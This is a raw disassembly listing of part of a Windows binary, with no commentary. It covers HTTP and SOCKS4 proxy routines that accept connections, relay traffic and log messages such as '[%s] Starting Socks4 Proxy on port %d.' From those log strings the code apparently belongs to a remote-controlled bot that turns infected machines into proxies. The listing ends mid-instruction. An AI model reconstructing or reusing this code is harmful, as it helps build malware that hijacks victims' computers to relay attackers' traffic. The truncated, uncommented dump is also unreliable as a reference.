0BB8D8BFFh dd 6A000000h, 848D5000h, 4A024h, 90515000h, 68B159E8h dd 0FFF88371h, 0FE24840Fh, 3D8BFFFFh, 50F8D0h, 0D7FF056Ah dd 0BB858Bh, 6A0000h, 9C24948Dh, 68000004h, 4000h, 0D3FF5052h dd 0F685F08Bh, 0FDF8840Fh, 167DFFFFh, 36EE890h, 333D7169h dd 75000027h, 0FF016A09h, 0FE9BE9D7h, 958BFFFFh, 0BFh dd 0FC8C3D8Bh, 6A0050h, 9C248C8Dh, 56000004h, 0D7FF5251h dd 0BF8D8Bh, 6A0000h, 9C24848Dh, 68000004h, 4000h, 0D3FF5150h dd 0F685F08Bh, 0FDA4840Fh, 1A7DFFFFh, 31AE890h, 333D7169h dd 75000027h, 90016A0Dh, 3E8C3DE8h, 0FE43E902h, 858BFFFFh dd 0BBh, 948D006Ah, 49C24h, 50525600h, 2AE9D7FFh db 0FEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4291EF: ; CODE XREF: sub_4282C0+CA6j or esi, 0FFFFFFFFh loc_4291F2: ; CODE XREF: sub_4282C0+CC7j mov al, [esp+0B8h+var_A7] test al, al jnz short loc_429212 mov edx, [ebp+0BFh] push edx nop call near ptr 71AB9639h mov [ebp+0BFh], esi mov [esp+0BCh+var_AA], 1 loc_429212: ; CODE XREF: sub_4282C0+F38j lea ecx, [esp+0BCh+var_34] mov byte ptr [esp+0BCh+arg_53E0], 0Dh call sub_401226 lea ecx, [esp+0BCh+var_5C] mov byte ptr [esp+0BCh+arg_53E0], 0Ch call sub_401226 lea ecx, [esp+0BCh+var_74] mov byte ptr [esp+0BCh+arg_53E0], 2 call sub_401226 lea ecx, [esp+0BCh+var_8C] mov byte ptr [esp+0BCh+arg_53E0], 1 call sub_401226 lea ecx, [esp+0BCh+var_A8] mov byte ptr [esp+0BCh+arg_53E0], 0 call sub_401226 lea ecx, [esp+0BCh+var_4] mov [esp+0BCh+arg_53E0], esi call sub_4014B0 or esi, 0FFFFFFFFh loc_429280: ; CODE XREF: sub_4282C0+EBj mov al, [esp+0BCh+var_AA] test al, al jz loc_4282F8 loc_42928C: ; CODE XREF: sub_4282C0+1074j ; sub_4282C0+11CDj mov al, [ebp+0BAh] test al, al jz short loc_4292A9 mov eax, [ebp+0BBh] push eax nop call near ptr 71AB9639h mov [ebp+0BBh], esi loc_4292A9: ; CODE XREF: sub_4282C0+FD4j mov al, [esp+11h] test al, al jz short loc_4292C4 mov ecx, [ebp+0BFh] push ecx nop call near ptr 71AB9639h mov [ebp+0BFh], esi loc_4292C4: ; CODE XREF: sub_4282C0+FEFj ; sub_4282C0+1255j mov ecx, [esp+0C4h+arg_53D0] pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 5494h retn ; --------------------------------------------------------------------------- loc_4292DD: ; CODE XREF: sub_4282C0+40Aj lea ecx, [esp+1Ch+arg_40] mov byte ptr [esp+1Ch+arg_5480], 0Ch call sub_401226 loc_4292EE: ; CODE XREF: sub_4282C0+3D7j lea ecx, [esp+1Ch+arg_28] mov byte ptr [esp+1Ch+arg_5480], 2 call sub_401226 loc_4292FF: ; CODE XREF: sub_4282C0+191j ; sub_4282C0+1AAj ... lea ecx, [esp+1Ch+arg_10] mov byte ptr [esp+1Ch+arg_5480], 1 call sub_401226 loc_429310: ; CODE XREF: sub_4282C0+85j lea ecx, [esp+1Ch+var_8] mov byte ptr [esp+1Ch+arg_5480], 0 call sub_401226 lea ecx, [esp+1Ch+arg_98] mov [esp+1Ch+arg_5480], esi call sub_4014B0 jmp loc_42928C ; --------------------------------------------------------------------------- loc_429339: ; CODE XREF: sub_4282C0+503j mov eax, [ebp+0BBh] push eax nop call near ptr 71AB9639h jmp loc_4294AA ; --------------------------------------------------------------------------- loc_42934B: ; CODE XREF: sub_4282C0+644j lea ecx, [esp+2Ch+arg_9D] call sub_4017E4 push eax lea ecx, [esp+30h+var_18] push offset aHttp1_0503Serv ; "HTTP/1.0 503 Service Unavailable\r\nServe"... push ecx call sub_40102D add esp, 0Ch lea ecx, [esp+2Ch+var_18] push 0 call sub_4013D9 push eax lea ecx, [esp+34h+var_18] call sub_4017E4 mov edx, [ebp+0BBh] push eax push edx call near ptr 71AB428Ah nop mov eax, [ebp+0BBh] mov esi, dword_50FC88 push eax call esi ; closesocket mov ecx, [ebp+0BFh] push ecx jmp loc_4294A8 ; --------------------------------------------------------------------------- loc_4293A8: ; CODE XREF: sub_4282C0+660j mov edx, [esp+38h+arg_D0] lea ecx, [esp+38h+arg_91] push edx call sub_4017E4 push eax lea eax, [esp+40h+var_24] push offset aHttp1_0503Se_0 ; "HTTP/1.0 503 Service Unavailable\r\nServe"... push eax call sub_40102D add esp, 10h lea ecx, [esp+38h+var_24] push 0 call sub_4013D9 push eax lea ecx, [esp+40h+var_24] call sub_4017E4 mov ecx, [ebp+0BBh] push eax push ecx nop call near ptr 71AB428Ah loc_4293F2: ; CODE XREF: sub_4282C0+711j ; sub_4282C0+719j mov edx, [ebp+0BBh] mov esi, dword_50FC88 push edx call esi ; closesocket mov eax, [ebp+0BFh] push eax jmp loc_4294A8 ; --------------------------------------------------------------------------- loc_42940D: ; CODE XREF: sub_4282C0+5EEj mov ecx, [ebp+0BBh] push ecx nop call near ptr 71AB9639h jmp loc_4294AA ; --------------------------------------------------------------------------- loc_42941F: ; CODE XREF: sub_4282C0+73Fj lea ecx, [esp+48h+arg_3C] mov byte ptr [esp+48h+arg_5454], 0Dh call sub_401226 lea ecx, [esp+48h+arg_14] mov byte ptr [esp+48h+arg_5454], 0Ch call sub_401226 lea ecx, [esp+48h] mov byte ptr [esp+48h+arg_5454], 2 call sub_401226 lea ecx, [esp+48h+var_18] mov byte ptr [esp+48h+arg_5454], 1 call sub_401226 lea ecx, [esp+48h+var_34] mov byte ptr [esp+48h+arg_5454], 0 call sub_401226 lea ecx, [esp+48h+arg_6C] mov [esp+48h+arg_5454], ebx call sub_4014B0 or esi, 0FFFFFFFFh jmp loc_42928C ; --------------------------------------------------------------------------- loc_429492: ; CODE XREF: sub_4282C0+D45j ; sub_4282C0+D4Dj mov ecx, [ebp+0BBh] mov esi, dword_50FC88 push ecx call esi ; closesocket mov edx, [ebp+0BFh] push edx loc_4294A8: ; CODE XREF: sub_4282C0+10E3j ; sub_4282C0+1148j call esi ; closesocket loc_4294AA: ; CODE XREF: sub_4282C0+1086j ; sub_4282C0+115Aj lea ecx, [esp+50h+arg_34] mov byte ptr [esp+50h+arg_544C], 0Dh call sub_401226 lea ecx, [esp+50h+arg_C] mov byte ptr [esp+50h+arg_544C], 0Ch call sub_401226 lea ecx, [esp+50h+var_8] mov byte ptr [esp+50h+arg_544C], 2 call sub_401226 lea ecx, [esp+50h+var_20] mov byte ptr [esp+50h+arg_544C], 1 call sub_401226 lea ecx, [esp+50h+var_3C] mov byte ptr [esp+50h+arg_544C], 0 call sub_401226 lea ecx, [esp+50h+arg_64] mov [esp+50h+arg_544C], ebx call sub_4014B0 jmp loc_4292C4 sub_4282C0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 6 dup(90h) db 4A0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4299C0 proc near ; CODE XREF: sub_4018DEj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4299C0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401F82 push offset aHttp_0 ; "HTTP" lea ecx, [esi+11h] mov [esp+18h+var_4], 0 mov dword ptr [esi], offset off_43E15C call sub_4015D7 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_4299C0 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_429A30: ; CODE XREF: ___:loc_40112Cj ; ___:0040128Fj push esi mov esi, ecx call sub_402108 test byte ptr [esp+8], 1 jz short loc_429A48 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_429A48: ; CODE XREF: ___:00429A3Dj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_429A60 proc near ; CODE XREF: sub_402108j push esi mov esi, ecx mov eax, [esi+9Eh] mov dword ptr [esi], offset off_43E15C cmp eax, 0FFFFFFFFh jz short loc_429A7B push eax nop call near ptr 71AB9639h loc_429A7B: ; CODE XREF: sub_429A60+12j mov ecx, esi call sub_40179E pop esi retn sub_429A60 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_429AA0 proc near ; CODE XREF: sub_4010E1j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_429AA0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push edi mov edi, ecx mov dword ptr [edi+9Eh], 0FFFFFFFFh loc_429AC3: ; CODE XREF: sub_429AA0+48j mov eax, [edi+99h] mov cl, [eax+11Ch] test cl, cl jz short loc_429AEA mov ecx, [edi+3Bh] push ecx call sub_40197E add esp, 4 cmp eax, 0FFFFFFFFh mov [edi+9Eh], eax jz short loc_429AC3 loc_429AEA: ; CODE XREF: sub_429AA0+31j mov edx, [edi+99h] mov al, [edx+11Ch] test al, al jz loc_429BBC push ebp push esi loc_429B00: ; CODE XREF: sub_429AA0+114j mov eax, [edi+9Eh] push eax call sub_4012DF mov ebp, eax add esp, 4 cmp ebp, 0FFFFFFFFh jz loc_429B9B test ebp, ebp jz short loc_429B9B push 0C3h call sub_4367FA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+1Ch+var_10], eax test eax, eax mov [esp+1Ch+var_4], 0 jz short loc_429B46 mov ecx, eax call sub_401884 mov esi, eax jmp short loc_429B48 ; --------------------------------------------------------------------------- loc_429B46: ; CODE XREF: sub_429AA0+99j xor esi, esi loc_429B48: ; CODE XREF: sub_429AA0+A4j mov ecx, [edi+99h] mov [esi+9Dh], edi mov [esi+99h], ecx mov edx, [edi+3Bh] lea eax, [edi+26h] lea ecx, [esi+26h] push eax mov [esp+20h+var_4], 0FFFFFFFFh mov [esi+3Bh], edx mov [esi+0BBh], ebp call sub_401FBE mov cl, [edi+97h] mov [esi+97h], cl mov dl, [edi+98h] mov ecx, esi mov [esi+98h], dl call sub_4013D4 jmp short loc_429BA6 ; --------------------------------------------------------------------------- loc_429B9B: ; CODE XREF: sub_429AA0+74j ; sub_429AA0+7Cj push 0FAh call near ptr 2811E0Eh nop loc_429BA6: ; CODE XREF: sub_429AA0+F9j mov eax, [edi+99h] mov cl, [eax+11Ch] test cl, cl jnz loc_429B00 pop esi pop ebp loc_429BBC: ; CODE XREF: sub_429AA0+58j mov edi, [edi+9Eh] cmp edi, 0FFFFFFFFh jz short loc_429BCE push edi call near ptr 71AB9639h nop loc_429BCE: ; CODE XREF: sub_429AA0+125j mov ecx, [esp+14h+var_C] pop edi mov large fs:0, ecx add esp, 10h retn sub_429AA0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_429C30 proc near ; CODE XREF: sub_40137Aj push ebx push esi mov esi, ecx push edi mov al, [esi+9Dh] lea edi, [esi+11h] test al, al mov eax, [esi+3Bh] lea ebx, [esi+26h] push eax mov ecx, edi jz short loc_429C58 call sub_4017E4 push eax push offset aSStartingProxy ; "[%s] Starting proxy on %d with SSL." jmp short loc_429C63 ; --------------------------------------------------------------------------- loc_429C58: ; CODE XREF: sub_429C30+19j call sub_4017E4 push eax push offset aSStartingPro_0 ; "[%s] Starting proxy on port %d." loc_429C63: ; CODE XREF: sub_429C30+26j mov ecx, ebx call sub_4014D3 mov cl, [esi+98h] mov dl, [esi+97h] push eax push ecx push edx push offset byte_4D60A5 call sub_401848 add esp, 1Ch mov ecx, esi call sub_4010E1 mov eax, [esi+3Bh] mov ecx, edi push eax call sub_4017E4 push eax push offset aSUnloadedProxy ; "[%s] Unloaded proxy on port %d." mov ecx, ebx call sub_4014D3 mov cl, [esi+98h] mov dl, [esi+97h] push eax push ecx push edx push offset byte_4D60A5 call sub_401848 add esp, 1Ch pop edi pop esi pop ebx retn sub_429C30 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_429D00 proc near ; CODE XREF: sub_40211Cj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_429D00 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401F82 push offset aSocks4 ; "Socks4" lea ecx, [esi+11h] mov [esp+18h+var_4], 0 mov dword ptr [esi], offset off_43E16C call sub_4015D7 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_429D00 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_429D70: ; CODE XREF: ___:00401870j ; ___:loc_401B04j push esi mov esi, ecx call sub_401F87 test byte ptr [esp+8], 1 jz short loc_429D88 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_429D88: ; CODE XREF: ___:00429D7Dj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_429DA0 proc near ; CODE XREF: sub_401F87j jmp sub_40179E sub_429DA0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_429DC0 proc near ; CODE XREF: sub_4010AFj var_81D = byte ptr -81Dh var_81C = dword ptr -81Ch var_818 = dword ptr -818h var_814 = dword ptr -814h var_810 = dword ptr -810h var_80C = dword ptr -80Ch var_808 = byte ptr -808h var_807 = byte ptr -807h var_806 = word ptr -806h var_804 = dword ptr -804h var_800 = byte ptr -800h var_400 = byte ptr -400h sub esp, 820h lea eax, [esp+820h+var_81D] push ebx push ebp push esi mov esi, dword_50FC90 mov ebp, ecx push edi push 0 push 1 mov ecx, [ebp+0A1h] push eax push ecx call esi ; recv cmp eax, 1 jge short loc_429E01 mov edx, [ebp+0A1h] push edx nop call near ptr 71AB9639h pop edi pop esi pop ebp pop ebx add esp, 820h retn ; --------------------------------------------------------------------------- loc_429E01: ; CODE XREF: sub_429DC0+27j cmp [esp+830h+var_81D], 4 jnz loc_429FEC mov ecx, [ebp+0A1h] push 0 lea eax, [esp+834h+var_807] push 406h push eax push ecx call esi ; recv cmp eax, 1 jge short loc_429E3E mov edx, [ebp+0A1h] push edx nop call near ptr 71AB9639h pop edi pop esi pop ebp pop ebx add esp, 820h retn ; --------------------------------------------------------------------------- loc_429E3E: ; CODE XREF: sub_429DC0+64j cmp [esp+830h+var_807], 1 jnz loc_429FEC mov cx, [esp+830h+var_806] mov edx, [esp+830h+var_804] xor eax, eax push 6 mov [esp+834h+var_818], eax push 1 mov [esp+838h+var_814], eax push 2 mov [esp+83Ch+var_810], eax mov word ptr [esp+83Ch+var_818], 2 mov [esp+83Ch+var_80C], eax mov word ptr [esp+83Ch+var_818+2], cx mov [esp+83Ch+var_814], edx nop call near ptr 71AB3B91h mov ebx, eax lea eax, [esp+830h+var_818] push 10h push eax push ebx nop call near ptr 71AB406Ah cmp eax, 0FFFFFFFFh mov [esp+830h+var_808], 0 jnz short loc_429ED9 mov edx, [ebp+0A1h] mov ecx, 100h xor eax, eax lea edi, [esp+830h+var_800] mov [esp+830h+var_807], 5Bh push eax rep stosd lea ecx, [esp+834h+var_808] push 8 push ecx push edx nop call near ptr 71AB428Ah mov eax, [ebp+0A1h] push eax nop call near ptr 71AB9639h pop edi pop esi pop ebp pop ebx add esp, 820h retn ; --------------------------------------------------------------------------- loc_429ED9: ; CODE XREF: sub_429DC0+D8j mov edx, [ebp+0A1h] mov ecx, 100h xor eax, eax lea edi, [esp+830h+var_800] mov [esp+830h+var_807], 5Ah push eax rep stosd lea ecx, [esp+834h+var_808] push 8 push ecx push edx nop call near ptr 71AB428Ah mov ecx, [ebp+0A1h] mov esi, dword_50FC50 lea eax, [esp+830h+var_81C] mov [esp+830h+var_81C], 1 push eax push 8004667Eh push ecx call esi ; ioctlsocket lea edx, [esp+830h+var_81C] mov [esp+830h+var_81C], 1 push edx push 8004667Eh push ebx call esi ; ioctlsocket loc_429F36: ; CODE XREF: sub_429DC0+1AFj ; sub_429DC0+1FEj ... mov edi, dword_50FC90 push 0 lea eax, [esp+834h+var_400] push 400h push eax push ebx call edi ; recv mov esi, eax test esi, esi jz loc_429FDA jge short loc_429F71 nop call near ptr 71AB94DCh cmp eax, 2733h jz short loc_429F71 push 0Ah nop call near ptr 2811E0Eh jmp short loc_429F36 ; --------------------------------------------------------------------------- loc_429F71: ; CODE XREF: sub_429DC0+198j ; sub_429DC0+1A5j mov edx, [ebp+0A1h] push 0 lea ecx, [esp+834h+var_400] push esi push ecx push edx nop call near ptr 71AB428Ah mov ecx, [ebp+0A1h] push 0 lea eax, [esp+834h+var_400] push 400h push eax push ecx call edi ; recv mov esi, eax test esi, esi jz short loc_429FDA jge short loc_429FC3 call near ptr 71AB94DCh nop cmp eax, 2733h jz short loc_429FC3 push 0Ah nop call near ptr 2811E0Eh jmp loc_429F36 ; --------------------------------------------------------------------------- loc_429FC3: ; CODE XREF: sub_429DC0+1E7j ; sub_429DC0+1F4j push 0 lea edx, [esp+834h+var_400] push esi push edx push ebx nop call near ptr 71AB428Ah jmp loc_429F36 ; --------------------------------------------------------------------------- loc_429FDA: ; CODE XREF: sub_429DC0+192j ; sub_429DC0+1E5j mov eax, [ebp+0A1h] mov esi, dword_50FC88 push eax call esi ; closesocket push ebx call esi ; closesocket loc_429FEC: ; CODE XREF: sub_429DC0+46j ; sub_429DC0+83j pop edi pop esi pop ebp pop ebx add esp, 820h retn sub_429DC0 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 90h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42A090 proc near ; CODE XREF: sub_40216Cj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_42A090 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401F82 push offset aSocks4 ; "Socks4" lea ecx, [esi+11h] mov [esp+18h+var_4], 0 mov dword ptr [esi], offset off_43E17C call sub_4015D7 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_42A090 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42A100 proc near ; CODE XREF: ___:00401032j sub_4017A8j arg_0 = byte ptr 4 push esi mov esi, ecx call sub_401C3A test [esp+4+arg_0], 1 jz short loc_42A118 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_42A118: ; CODE XREF: sub_42A100+Dj mov eax, esi pop esi retn 4 sub_42A100 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_42A130 proc near ; CODE XREF: sub_401C3Aj jmp sub_40179E sub_42A130 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42A150 proc near ; CODE XREF: sub_40188Ej var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_18 = byte ptr -18h var_C = dword ptr -0Ch var_4 = dword ptr -4 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_42A150 push eax mov large fs:0, esp sub esp, 28h push ebx push esi mov esi, ecx mov eax, [esi+3Bh] lea ecx, [esi+11h] push eax lea ebx, [esi+26h] call sub_4017E4 push eax push offset aSStartingSocks ; "[%s] Starting Socks4 Proxy on port %d." mov ecx, ebx call sub_4014D3 mov cl, [esi+98h] mov dl, [esi+97h] push eax push ecx push edx push offset byte_4D60A5 call sub_401848 add esp, 1Ch push 6 push 1 push 2 nop call near ptr 71AB3B91h cmp eax, 0FFFFFFFFh mov [esi+9Dh], eax jz loc_42A359 mov cx, [esi+3Bh] xor eax, eax mov [esp+3Ch+var_2C], eax push ecx mov [esp+40h+var_28], eax mov word ptr [esp+40h+var_2C], 2 mov [esp+40h+var_24], eax mov [esp+40h+var_20], eax nop call near ptr 71AB2B66h mov word ptr [esp+3Ch+var_2C+2], ax mov eax, [esi+9Dh] lea edx, [esp+3Ch+var_2C] push 10h push edx push eax mov [esp+48h+var_34], 10h nop call near ptr 71AB3E00h test eax, eax jz short loc_42A226 mov ecx, [esi+9Dh] push ecx nop call near ptr 71AB9639h pop esi pop ebx mov ecx, [esp+34h+var_C] mov large fs:0, ecx add esp, 34h retn ; --------------------------------------------------------------------------- loc_42A226: ; CODE XREF: sub_42A150+B6j mov edx, [esi+99h] push ebp push edi mov al, [edx+11Ch] test al, al jz loc_42A310 loc_42A23C: ; CODE XREF: sub_42A150+1BAj mov eax, [esi+9Dh] push 0Ah push eax nop call near ptr 71AB88D3h cmp eax, 0FFFFFFFFh jnz short loc_42A260 push 0FAh nop call near ptr 2811E0Eh jmp loc_42A2FC ; --------------------------------------------------------------------------- loc_42A260: ; CODE XREF: sub_42A150+FEj mov eax, [esi+9Dh] lea ecx, [esp+40h+var_30] lea edx, [esp+40h+var_18] push ecx push edx push eax nop call near ptr 71AC1028h mov ebp, eax cmp ebp, 0FFFFFFFFh jz loc_42A310 xor edi, edi cmp ebp, edi jz loc_42A310 push 0A5h call sub_4367FA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+44h+var_30], eax cmp eax, edi mov [esp+44h+var_4], edi jz short loc_42A2AE mov ecx, eax call sub_40211C mov edi, eax loc_42A2AE: ; CODE XREF: sub_42A150+153j mov ecx, [esi+99h] mov [edi+9Dh], esi mov [edi+99h], ecx mov edx, [esi+3Bh] push ebx lea ecx, [edi+26h] mov [esp+48h+var_4], 0FFFFFFFFh mov [edi+3Bh], edx mov [edi+0A1h], ebp call sub_401FBE mov al, [esi+97h] mov [edi+97h], al mov cl, [esi+98h] mov [edi+98h], cl mov ecx, edi call sub_4013D4 loc_42A2FC: ; CODE XREF: sub_42A150+10Bj mov edx, [esi+99h] mov al, [edx+11Ch] test al, al jnz loc_42A23C loc_42A310: ; CODE XREF: sub_42A150+E6j ; sub_42A150+12Cj ... mov eax, [esi+9Dh] pop edi cmp eax, 0FFFFFFFFh pop ebp jz short loc_42A324 push eax nop call near ptr 71AB9639h loc_42A324: ; CODE XREF: sub_42A150+1CBj mov eax, [esi+3Bh] lea ecx, [esi+11h] push eax call sub_4017E4 push eax push offset aSUnloadedPro_0 ; "[%s] Unloaded proxy on %d." mov ecx, ebx call sub_4014D3 mov cl, [esi+98h] mov dl, [esi+97h] push eax push ecx push edx push offset byte_4D60A5 call sub_401848 add esp, 1Ch loc_42A359: ; CODE XREF: sub_42A150+69j mov ecx, [esp+3Ch+var_C] pop esi pop ebx mov large fs:0, ecx add esp, 34h retn sub_42A150 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 90h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42A400 proc near ; CODE XREF: sub_40174Ej arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push eax nop call near ptr 71AB4FD4h test eax, eax jz short loc_42A421 mov ecx, [eax+0Ch] mov edx, [ecx] mov ecx, [esp+arg_4] mov eax, [edx] mov [ecx], eax mov al, 1 retn 8 ; --------------------------------------------------------------------------- loc_42A421: ; CODE XREF: sub_42A400+Dj xor al, al retn 8 sub_42A400 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42A440 proc near ; CODE XREF: sub_4020C2j var_50C = dword ptr -50Ch var_508 = dword ptr -508h var_504 = dword ptr -504h var_500 = dword ptr -500h var_4FC = dword ptr -4FCh var_400 = byte ptr -400h arg_0 = dword ptr 4 arg_4 = dword ptr 8 sub esp, 50Ch push ebx mov ebx, [esp+510h+arg_4] push ebp push esi push edi mov [esp+51Ch+var_50C], 0 mov [esp+51Ch+var_508], 0 loc_42A461: ; CODE XREF: sub_42A440+12Cj mov ebp, [esp+51Ch+arg_0] mov [esp+51Ch+var_504], 1 mov [esp+51Ch+var_500], ebp xor eax, eax lea ecx, [esp+51Ch+var_500] loc_42A47A: ; CODE XREF: sub_42A440+45j cmp [ecx], ebx jz short loc_42A487 inc eax add ecx, 4 cmp eax, 1 jb short loc_42A47A loc_42A487: ; CODE XREF: sub_42A440+3Cj cmp eax, 1 jnz short loc_42A498 mov [esp+51Ch+var_4FC], ebx mov [esp+51Ch+var_504], 2 loc_42A498: ; CODE XREF: sub_42A440+4Aj lea eax, [esp+51Ch+var_50C] lea ecx, [esp+51Ch+var_504] push eax push 0 push 0 push ecx push 2 call near ptr 71AB2DC0h nop test eax, eax jbe short loc_42A523 cmp eax, 0FFFFFFFFh jz short loc_42A523 lea edx, [esp+51Ch+var_504] push edx push ebp call sub_436F60 ; --------------------------------------------------------------------------- test eax, eax jz short loc_42A4CC mov eax, ebp mov ebp, ebx jmp short loc_42A4CE ; --------------------------------------------------------------------------- loc_42A4CC: ; CODE XREF: sub_42A440+84j mov eax, ebx loc_42A4CE: ; CODE XREF: sub_42A440+8Aj push 0 lea ecx, [esp+520h+var_400] push 3FFh push ecx push eax nop call near ptr 71AB615Ah mov edi, eax xor esi, esi cmp edi, 0FFFFFFFFh mov [esp+edi+51Ch+var_400], 0 jz short loc_42A572 test edi, edi jz short loc_42A572 jbe short loc_42A51C loc_42A4FB: ; CODE XREF: sub_42A440+DAj mov edx, edi push 0 sub edx, esi lea eax, [esp+esi+520h+var_400] push edx push eax push ebp nop call near ptr 71AB428Ah cmp eax, 0FFFFFFFFh jz short loc_42A572 add esi, eax cmp esi, edi jb short loc_42A4FB loc_42A51C: ; CODE XREF: sub_42A440+B9j mov ebp, [esp+51Ch+arg_0] loc_42A523: ; CODE XREF: sub_42A440+70j ; sub_42A440+75j mov [esp+51Ch+var_500], ebp mov [esp+51Ch+var_504], 1 xor eax, eax lea ecx, [esp+51Ch+var_500] loc_42A535: ; CODE XREF: sub_42A440+100j cmp [ecx], ebx jz short loc_42A542 inc eax add ecx, 4 cmp eax, 1 jb short loc_42A535 loc_42A542: ; CODE XREF: sub_42A440+F7j cmp eax, 1 jnz short loc_42A554 mov [esp+eax*4+51Ch+var_500], ebx mov eax, [esp+51Ch+var_504] inc eax mov [esp+51Ch+var_504], eax loc_42A554: ; CODE XREF: sub_42A440+105j lea ecx, [esp+51Ch+var_50C] lea edx, [esp+51Ch+var_504] push ecx push edx push 0 push 0 push 2 call near ptr 71AB2DC0h nop test eax, eax jle loc_42A461 loc_42A572: ; CODE XREF: sub_42A440+B3j ; sub_42A440+B7j ... pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 50Ch retn 8 sub_42A440 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42A5F0 proc near ; CODE XREF: sub_401C1Cj var_51C = word ptr -51Ch var_51A = word ptr -51Ah var_518 = dword ptr -518h var_50C = dword ptr -50Ch var_508 = dword ptr -508h var_504 = dword ptr -504h var_500 = dword ptr -500h var_400 = dword ptr -400h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch sub esp, 51Ch push ebx push ebp mov ebp, [esp+524h+arg_4] push esi push edi mov edx, ecx movsx eax, byte ptr [ebp+3] dec eax mov [esp+52Ch+var_508], 0 mov [esp+52Ch+var_50C], 7 mov [esp+52Ch+var_51C], 2 jz short loc_42A68F dec eax jz short loc_42A63A dec eax jnz loc_42A782 pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 51Ch retn 0Ch ; --------------------------------------------------------------------------- loc_42A63A: ; CODE XREF: sub_42A5F0+32j movsx eax, byte ptr [ebp+4] mov ecx, eax lea esi, [ebp+5] mov ebx, ecx lea edi, [esp+52Ch+var_400] shr ecx, 2 rep movsd mov ecx, ebx and ecx, 3 rep movsb mov byte ptr [esp+eax+52Ch+var_400], 0 lea eax, [esp+52Ch+var_518] lea ecx, [esp+52Ch+var_400] push eax push ecx mov ecx, edx call sub_40174E test al, al jz loc_42A782 movsx esi, byte ptr [ebp+4] mov dx, [esi+ebp+5] add esi, 7 mov [esp+52Ch+var_51A], dx jmp short loc_42A6AB ; --------------------------------------------------------------------------- loc_42A68F: ; CODE XREF: sub_42A5F0+2Fj mov eax, [ebp+4] mov esi, 0Ah mov [esp+52Ch+var_400], eax mov [esp+52Ch+var_518], eax mov ax, [ebp+8] mov [esp+52Ch+var_51A], ax loc_42A6AB: ; CODE XREF: sub_42A5F0+9Dj mov ebx, dword_50FC30 push 11h push 2 push 2 call ebx ; socket push 11h push 2 push 2 mov edi, eax call ebx ; socket cmp edi, 0FFFFFFFFh jz loc_42A782 cmp eax, 0FFFFFFFFh jnz loc_42A782 mov edx, [esp+52Ch+arg_8] lea ecx, [esp+52Ch+var_51C] push 10h push ecx sub edx, esi push 0 add esi, ebp mov ebp, dword_50FC5C push edx push esi push edi call ebp ; sendto mov ebx, [esp+52Ch+arg_0] push 10h push ebx push edi call near ptr 71AB3E00h nop test eax, eax jnz short loc_42A782 loc_42A709: ; CODE XREF: sub_42A5F0+174j lea eax, 